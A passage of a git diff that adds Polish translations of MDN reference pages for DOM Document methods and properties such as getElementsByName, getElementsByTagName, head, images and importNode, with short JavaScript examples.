+ <li><a href="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname" title="https://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-getelementsbyclassname"><span class="external">W3C: getElementsByClassName</span></a></li>
+</ul>
diff --git a/files/pl/web/api/document/getelementsbyname/index.html b/files/pl/web/api/document/getelementsbyname/index.html
new file mode 100644
index 0000000000..1cadc785de
--- /dev/null
+++ b/files/pl/web/api/document/getelementsbyname/index.html
@@ -0,0 +1,35 @@
+---
+title: document.getElementsByName
+slug: Web/API/Document/getElementsByName
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/getElementsByName
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca listę elementów w dokumencie o żądanym atrybucie <code>name</code>.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">elementy = document.getElementsByName(<i>nazwa</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>elementy</code> to lista elementów typu <code>nodeList</code></li>
+ <li><code>nazwa</code> to ciąg znaków reprezentujący wartość atrybutu <code>name</code> elementu.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// zwraca niektóre z DIV-ów
+&lt;div name="up"&gt;200&lt;/div&gt;
+&lt;div name="up"&gt;145&lt;/div&gt;
+&lt;div name="down"&gt;146&lt;/div&gt;
+&lt;div name="other"&gt;178&lt;/div&gt;
+up_divs = document.getElementsByName("up");
+dump(up_divs.item(0).tagName); // zwraca "div"
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p><b>document.getElementsByName</b> zwraca listę węzłów wszystkich elementów o zadanej wartości atrybutu <code>name</code>. W przeciwieństwie do <a href="pl/DOM/element.getElementsByTagName">getElementsByTagName</a>, który analizuje samą nazwę elementu, ta metoda pracuje tylko na elementach, których atrybut <code>name</code> został wyraźnie podany.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-71555259">getElementsByName</a></p>
+<p>{{ languages( { "en": "en/DOM/document.getElementsByName", "fr": "fr/DOM/document.getElementsByName", "ja": "ja/DOM/document.getElementsByName" } ) }}</p>
diff --git a/files/pl/web/api/document/getelementsbytagname/index.html b/files/pl/web/api/document/getelementsbytagname/index.html
new file mode 100644
index 0000000000..b4db8f428d
--- /dev/null
+++ b/files/pl/web/api/document/getelementsbytagname/index.html
@@ -0,0 +1,108 @@
+---
+title: document.getElementsByTagName
+slug: Web/API/Document/getElementsByTagName
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/getElementsByTagName
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca listę elementów o podanej nazwie znacznika. Przeszukiwany jest cały dokument, łącznie z głównym węzłem.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>elements</em> = document.getElementsByTagName(<em>name</em>)
+</pre>
+
+<ul>
+ <li><code>elements</code> is a live <code>NodeList</code> of found elements in the order they appear in the tree.</li>
+ <li><code>name</code> jest łańcuchem znaków reprezentującym nazwę elementów. Łańcuch znaków "*" reprezentuje wszystkie elementy.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<p>W poniższym przykładzie <code>getElementsByTagName</code> starts from a particular parent element, and searches topdown recursively through the DOM from that parent element, looking for child elements matching the tag <code>name</code> parameter.</p>
+
+<p>Zauważ, że gdy węzeł, w którym przywołano <code>getElementsByTagName</code>, nie jest węzłem <code>document</code>, to w rzeczywistości użyta jest metoda <a href="pl/DOM/element.getElementsByTagName">element.getElementsByTagName</a>.</p>
+
+<pre>&lt;html&gt;
+
+&lt;head&gt;
+&lt;title&gt;Przykład getElementsByTagName&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function getAllParaElems()
+{
+ var allParas = document.getElementsByTagName("p");
+
+ var num = allParas.length;
+
+ alert("W tym dokumencie jest " + num + " elementów &lt;p&gt;");
+}
+
+
+function div1ParaElems()
+{
+ var div1 = document.getElementById("div1")
+ var div1Paras = div1.getElementsByTagName("p");
+
+ var num = div1Paras.length;
+
+ alert("W elemencie div1 znajduje się " + num + " elementów &lt;p&gt;");
+}
+
+
+function div2ParaElems()
+{
+ var div2 = document.getElementById("div2")
+ var div2Paras = div2.getElementsByTagName("p");
+
+ var num = div2Paras.length;
+
+ alert("W elemencie div2 znajduje się " + num + " elementów &lt;p&gt;");
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body style="border: solid green 3px"&gt;
+&lt;p&gt;Trochę zewnętrznego tekstu&lt;/p&gt;
+&lt;p&gt;Trochę zewnętrznego tekstu&lt;/p&gt;
+
+ &lt;div id="div1" style="border: solid blue 3px"&gt;
+ &lt;p&gt;Trochę tekstu w div1&lt;/p&gt;
+ &lt;p&gt;Trochę tekstu w div1&lt;/p&gt;
+ &lt;p&gt;Trochę tekstu w div1&lt;/p&gt;
+
+ &lt;div id="div2" style="border: solid red 3px"&gt;
+ &lt;p&gt;Trochę tekstu w div2&lt;/p&gt;
+ &lt;p&gt;Trochę tekstu w div2&lt;/p&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+
+&lt;p&gt;Trochę zewnętrznego tekstu&lt;/p&gt;
+&lt;p&gt;Trochę zewnętrznego tekstu&lt;/p&gt;
+
+&lt;button onclick="getAllParaElems();"&gt;
+ pokaż wszystkie elementy p w dokumencie&lt;/button&gt;&lt;br /&gt;
+
+&lt;button onclick="div1ParaElems();"&gt;
+ pokaż wszystkie elementy p w elemencie div1&lt;/button&gt;&lt;br /&gt;
+
+&lt;button onclick="div2ParaElems();"&gt;
+ pokaż wszystkie elementy p w elemencie div2&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C9094">DOM Level 2 Core: Document.getElementsByTagName</a></p>
diff --git a/files/pl/web/api/document/hasfocus/index.html b/files/pl/web/api/document/hasfocus/index.html
new file mode 100644
index 0000000000..afaa6079af
--- /dev/null
+++ b/files/pl/web/api/document/hasfocus/index.html
@@ -0,0 +1,25 @@
+---
+title: document.hasFocus
+slug: Web/API/Document/hasFocus
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/hasFocus
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Własność <code>hasFocus</code> zwraca wartość <code>true</code>, jeżeli fokus jest zlokalizowany w dowolnym miejscu danego dokumentu. {{ Note("Ten atrybut jest częścią specyfikacji HTML 5, która jest wciąż opracowywana.") }}</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">focused = document.hasFocus();
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#focus-management">Zarządzanie fokusem </a></p>
+<p> </p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/document.hasFocus", "es": "es/DOM/element.hasFocus", "fr": "fr/DOM/document.hasFocus", "ja": "ja/DOM/document.hasFocus" } ) }}</p>
diff --git a/files/pl/web/api/document/head/index.html b/files/pl/web/api/document/head/index.html
new file mode 100644
index 0000000000..d5436385fa
--- /dev/null
+++ b/files/pl/web/api/document/head/index.html
@@ -0,0 +1,110 @@
+---
+title: Document.head
+slug: Web/API/Document/head
+translation_of: Web/API/Document/head
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Zwraca element {{HTMLElement("head")}} aktualnego dokumentu. Jeżeli występuje więcej niż jeden element <code>&lt;head&gt;</code>, zwrócony zostanie tylko pierwszy.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>var objRef</em> = document.head;
+</pre>
+
+<h2 id="Example" name="Example">Przykład</h2>
+
+<pre class="brush: js">// in HTML: &lt;head id="my-document-head"&gt;
+var aHead = document.head;
+
+alert(aHead.id); // "my-document-head";
+
+alert( document.head === document.querySelector("head") ); // true
+</pre>
+
+<h2 id="Example" name="Example">Uwagi</h2>
+
+<p><code>document.head</code> jest atrybutem tylko do odczytu. Próby przypisania mu wartości nie spowodują żadnego efektu czy skutku ubocznego (przejdą 'po cichu') lub, jeżeli pracujemy w <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">ECMAScript Strict Mode</a> w przeglądarce Gecko, zostanie rzucony <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError"><code>TypeError</code></a>.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG','dom.html#dom-document-head','Document.head')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1','dom.html#dom-document-head','Document.head')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C','dom.html#dom-document-head','Document.head')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.0</td>
+ <td>{{CompatGeckoDesktop("2")}}</td>
+ <td>9.0</td>
+ <td>11.0</td>
+ <td>5.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("2")}}</td>
+ <td>9.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{domxref("document.body")}}</li>
+</ul>
diff --git a/files/pl/web/api/document/height/index.html b/files/pl/web/api/document/height/index.html
new file mode 100644
index 0000000000..1f777a7eb5
--- /dev/null
+++ b/files/pl/web/api/document/height/index.html
@@ -0,0 +1,34 @@
+---
+title: document.height
+slug: Web/API/Document/height
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/height
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>height</b> pobiera/ustawia wysokość dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>wysokość</i> = document.height
+document.height =<i>wysokość</i>
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>wysokość</code> jest ciągiem reprezentującym wysokość dokumentu w pikselach, calach bądź poprzez <code>em</code>. Jesli nie zostanie określona jednostka (jak np. "px" w "200px"), domyślnie przyjmowane są piksele.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">// zmniejsz okno po załadowaniu
+function onLoad() {
+ document.height = "200";
+ document.width = "200";
+}
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zobacz także <a href="pl/DOM/document.width">DOM:document.width</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/document.height" } ) }}</p>
diff --git a/files/pl/web/api/document/images/index.html b/files/pl/web/api/document/images/index.html
new file mode 100644
index 0000000000..e7d21794da
--- /dev/null
+++ b/files/pl/web/api/document/images/index.html
@@ -0,0 +1,31 @@
+---
+title: document.images
+slug: Web/API/Document/images
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/images
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>document.images</code> zwraca listę obrazków w dokumencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><em>listaWęzłów</em> = document.images
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">var ilist = document.images;
+for(var i = 0; i &lt; ilist.length; i++) {
+ if(ilist[i] == "banner.gif") {
+ // found the banner
+ }
+}
+</pre>
+<p> </p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p><code>document.images.length</code> – własność, zwraca liczbę obrazków na stronie.</p>
+<p><code>document.images</code> jest częścią DOM HTML i działa tylko dla dokumentów HTML.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-90379117">DOM Level 2 HTML: HTMLDocument.images</a></p>
+<p>{{ languages( { "ru": "ru/DOM/document.images", "en": "en/DOM/document.images", "fr": "fr/DOM/document.images" } ) }}</p>
diff --git a/files/pl/web/api/document/implementation/index.html b/files/pl/web/api/document/implementation/index.html
new file mode 100644
index 0000000000..3fe4d51af0
--- /dev/null
+++ b/files/pl/web/api/document/implementation/index.html
@@ -0,0 +1,21 @@
+---
+title: document.implementation
+slug: Web/API/Document/implementation
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/implementation
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca obiekt implementacji DOM powiązanej z bieżącym dokumentem.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>obiektDOMImplementation</i> = document.DOMImplentation
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Obiekt DOMImplementaion, jeżeli jest dostępny, stanowi specjalny obiekt zapewniający możliwość kontrolowania spraw poza pojedynczym dokumentem. Na przykład interfejs <code>DOMImplementation</code> zawiera metodę <code>createDocumentType</code> pozwalającą na tworzenie DTD dla jednego lub więcej dokumentów zarządzanych przez implementację.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-90379117">implementation</a> (?)</p>
+<p>{{ languages( { "en": "en/DOM/document.implementation" } ) }}</p>
diff --git a/files/pl/web/api/document/importnode/index.html b/files/pl/web/api/document/importnode/index.html
new file mode 100644
index 0000000000..be2cdf6367
--- /dev/null
+++ b/files/pl/web/api/document/importnode/index.html
@@ -0,0 +1,57 @@
+---
+title: document.importNode
+slug: Web/API/Document/importNode
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/importNode
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Tworzy kopię węzła z zewnętrznego dokumentu, która może być umieszczona wewnątrz bieżącego dokumentu.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">var <em>node</em> = <em>document</em>.importNode(<em>externalNode</em>,<em>deep</em>);
+</pre>
+
+<dl>
+ <dt><code>node</code></dt>
+ <dd>Zaimportowany węzeł<br>
+ Własność <code><a href="/pl/docs/Web/API/Element/parentNode">parentNode</a></code> jest ustawiona na null, ponieważ nie został jeszcze wstawiony do drzewa dokumentu</dd>
+ <dt><code>externalNode</code></dt>
+ <dd>Węzeł, bądź <code>DocumentFragment</code> przeznaczony do zaimportowania do bieżącego dokumentu.</dd>
+ <dt><code>deep</code></dt>
+ <dd>Boolean mówiący, czy importować potomki <code>externalNode</code></dd>
+</dl>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">var iframe = document.getElementsByTagName("iframe")[0];
+var oldNode = iframe.contentDocument.getElementById("myNode");
+var newNode = document.importNode(oldNode,true);
+document.getElementById("container").appendChild(newNode);
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Pierwotny węzeł nie jest usunięty z oryginalnego dokumentu. Importowany węzeł jest klonem oryginału .</p>
+
+
+<p></p><p>Przed włączeniem węzłów pochodzących z zewnętrznych dokumentów do bieżącego dokumentu konieczne jest ich sklonowanie za
+ pomocą metody <a href="/pl/docs/Web/API/Document/importNode" title="Tworzy kopię węzła z zewnętrznego dokumentu, która może być umieszczona wewnątrz bieżącego dokumentu."><code>document.importNode()</code></a> (lub zaadaptowanie przy użyciu metody <a class="new" href="/pl/docs/Web/API/Document/adoptNode" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>document.adoptNode()</code></a>). Więcej informacji na temat własności
+ <a class="new" href="/pl/docs/Web/API/Node/ownerDocument" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>Node.ownerDocument</code></a> znajduje się na liście najczęściej zadawanych pytań na <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">temat
+ DOM w witrynie W3C</a>.</p>
+
+ <p>Aktualnie Firefox nie wymusza tej reguły (robił to przez pewien czas podczas cykli rozwojowych Firefoksa 3, ale zbyt
+ dużo stron przestawało działać po wymuszeniu tej reguły). Zachęcamy autorów stron do poprawienia ich kodu dla lepszej
+ kompatybilności w przyszłości.</p><p></p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#Core-Document-importNode">DOM Level 2 Core: Document.importNode</a></p>
diff --git a/files/pl/web/api/document/index.html b/files/pl/web/api/document/index.html
new file mode 100644
index 0000000000..a5aa06d6dd
--- /dev/null
+++ b/files/pl/web/api/document/index.html
@@ -0,0 +1,332 @@
+---
+title: document
+slug: Web/API/Document
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Wprowadzenie" name="Wprowadzenie">Wprowadzenie</h3>
+
+<p>Obiekt <code>document</code> stanowi w <a href="pl/DOM">DOM</a> ogólny sposób reprezentowania dokumentów <a href="pl/HTML">HTML</a>, <a href="pl/XHTML">XHTML</a> i <a href="pl/XML">XML</a>. Poza ogólnym interfejsem dokumentu, w ponizszej liscie uwzgledniono takze <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM HTMLDocument</a>, bedacy bardziej wyspecjalizowanym interfejsem, przeznaczonym do pracy z dokumentami HTML (np. wlasnosci takie jak <a href="pl/DOM/document.cookie">document.cookie</a>, <a href="pl/DOM/document.alinkColor">document.alinkColor</a>). Czesci tego bardziej wyspecjalizowanego interfejsu zostaly oznaczone gwiazdka (*).</p>
+
+<p><code>document</code> zawarty jest w obiekcie <a href="pl/DOM/window">window</a> i moze zawierac dowolna liczbe <a href="pl/DOM/element">elementów</a>.</p>
+
+<p>Tak jak widac na ponizszej liscie, interfejsy <code>document</code> odpowiadaja za rzeczy takie jak typ dokumentu, jego cechy, jak kolory czy formatowanie, wtyczki i aplety przedstawiane uzytkownikowi, ale sa tu tez metody do tworzenia węzłów potomnych dokumentu, a takze elementy znajdujace sie zwykle w reprezentacji dokumentu, jak &lt;BODY&gt;.</p>
+
+<h3 id="Wlasnosci" name="Wlasnosci">Wlasnosci</h3>
+
+<dl>
+ <dt><a href="pl/DOM/document.alinkColor">document.alinkColor</a>* {{ Deprecated_inline() }}</dt>
+ <dd>Zwraca lub ustawia kolor aktywnych odnośników w dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.anchors">document.anchors</a>*</dt>
+ <dd>Zwraca listę wszystkich kotwic w dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.applets">document.applets</a>*</dt>
+ <dd>Zwraca uporządkowaną listę apletów w dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.bgColor">document.bgColor</a>* {{ Deprecated_inline() }}</dt>
+ <dd>Pobiera/ustawia kolor tła dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.body">document.body</a>*</dt>
+ <dd>Zwraca węzeł elementu BODY w dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.characterSet">document.characterSet</a></dt>
+ <dd>Zwraca nazwę zestawu znaków uzytego w dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.compatMode">document.compatMode</a>*</dt>
+ <dd>Wskazuje, czy dokument jest renderowany w trybie zgodności wstecznej czy w trybie standardów.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.contentType">document.contentType</a></dt>
+ <dd>Zwraca Content-Type z nagłówka MIME bieżącego dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.cookie">document.cookie</a>*</dt>
+ <dd>Zwraca rozdzielona średnikami listę ciasteczek dokumentu bądź zapisuje pojedyncze ciasteczko.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.defaultView">document.defaultView</a></dt>
+ <dd>Zwraca referencje do obiektu <code>window</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.designMode">document.designMode</a>*</dt>
+ <dd>Pobiera/ustawia możliwość edytowania w trybie WYSIWYG za pomocą edytora <a href="pl/Midas">Midas</a>. Może zostać użyty wyłącznie w dokumentach HTML.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.doctype">document.doctype</a></dt>
+ <dd>Zwraca definicje typu dokumentu (DTD).</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.documentElement">document.documentElement</a></dt>
+ <dd>Zwraca element będący bezpośrednim dzieckiem dokumentu.W dokumentach &lt;HTML&gt; jest to zazwyczaj element.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.documentURIObject">document.documentURIObject</a> {{ Fx_minversion_inline(3) }}</dt>
+ <dd>Zwraca obiekt nsIURI reprezentujący URI dokumentu. Własność ta jest wspomagana wyłącznie z kodu JavaScriptu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.domain">document.domain</a>*</dt>
+ <dd>Zwraca domenę bieżącego dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.embeds">document.embeds</a>*</dt>
+ <dd>Zwraca listę obiektów (OBJECT) zagnieżdżonych w dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.fgColor">document.fgColor</a>* {{ Deprecated_inline() }}</dt>
+ <dd>Pobiera/ustawia kolor pierwszoplanowy (kolor tekstu) w dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.firstChild">document.firstChild</a></dt>
+ <dd>Zwraca pierwszy węzeł spośród bezpośrednich dzieci dokumentu (zob. własność elementów <a href="pl/DOM/element.firstChild">firstChild</a>).</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.forms">document.forms</a>*</dt>
+ <dd>Zwraca listę elementów FORM w dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.height">document.height</a>*</dt>
+ <dd>Pobiera/ustawia wysokość dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.images">document.images</a>*</dt>
+ <dd>Zwraca listę obrazków w dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.implementation">document.implementation</a>*</dt>
+ <dd>Zwraca obiekt implementacji DOM powiązany z bieżącym dokumentem.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.lastModified">document.lastModified</a>*</dt>
+ <dd>Zwraca datę ostatniej modyfikacji dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.linkColor">document.linkColor</a>* {{ Deprecated_inline() }}</dt>
+ <dd>Pobiera/ustawia kolor odnośników w dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.links">document.links</a>*</dt>
+ <dd>Zwraca listę wszystkich odnośników w dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.location">document.location</a>*</dt>
+ <dd>Zwraca URI bieżącego dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.namespaceURI">document.namespaceURI</a></dt>
+ <dd>Zwraca przestrzeń nazw XML dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.plugins">document.plugins</a>*</dt>
+ <dd>Zwraca listę dostępnych wtyczek.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.popupNode">document.popupNode</a></dt>
+ <dd>Zwraca węzeł, do którego odwoływał sie {{ XULElem("popup") }} (wyłącznie dokumenty XUL).</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.referrer">document.referrer</a>*</dt>
+ <dd>Zwraca URI strony, która przekierowała do bieżącej strony.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.styleSheets">document.styleSheets</a>*</dt>
+ <dd>Zwraca listę obiektów typu <a href="pl/DOM/stylesheet">stylesheet</a> w bieżącym dokumencie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.title">document.title</a>*</dt>
+ <dd>Zwraca tytuł bieżącego dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.tooltipNode">document.tooltipNode</a></dt>
+ <dd>Zwraca węzeł, który jest bieżącym celem {{ XULElem("tooltip") }}.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.URL">document.URL</a></dt>
+ <dd>Zwraca ciąg znaków zawierający adres URL bieżącego dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.vlinkColor">document.vlinkColor</a>* {{ Deprecated_inline() }}</dt>
+ <dd>Pobiera/ustawia kolor odwiedzonych odnośników.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/document.width">document.width</a>*</dt>
+ <dd>Zwraca szerokość bieżącego dokumentu.</dd>
+</dl>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<dl>
+ <dt><a href="/pl/DOM/document.clear" title="pl/DOM/document.clear">document.clear</a>* {{ Deprecated_inline() }}</dt>
+ <dd>W wiekszosci nowoczesnych przegladarek wlacznie z Firefoksem oraz Internet Explorerem metoda ta nie robi nic.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.close" title="pl/DOM/document.close">document.close</a>*</dt>
+ <dd>Konczy dopisywanie do strumienia dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.createAttribute" title="pl/DOM/document.createAttribute">document.createAttribute</a></dt>
+ <dd>Tworzy i zwraca nowy wezel atrybutu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.createDocumentFragment" title="pl/DOM/document.createDocumentFragment">document.createDocumentFragment</a></dt>
+ <dd>Tworzy nowy fragment dokumentu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.createElement" title="pl/DOM/document.createElement">document.createElement</a></dt>
+ <dd>Tworzy nowy element o podanej nazwie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.createElementNS" title="pl/DOM/document.createElementNS">document.createElementNS</a></dt>
+ <dd>Tworzy nowy element o podanej nazwie i URI przestrzeni nazw.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/DOM/document.createNSResolver" title="pl/DOM/document.createNSResolver">document.createNSResolver</a></dt>
+ <dd>Tworzy XPathNSResolver.</dd>
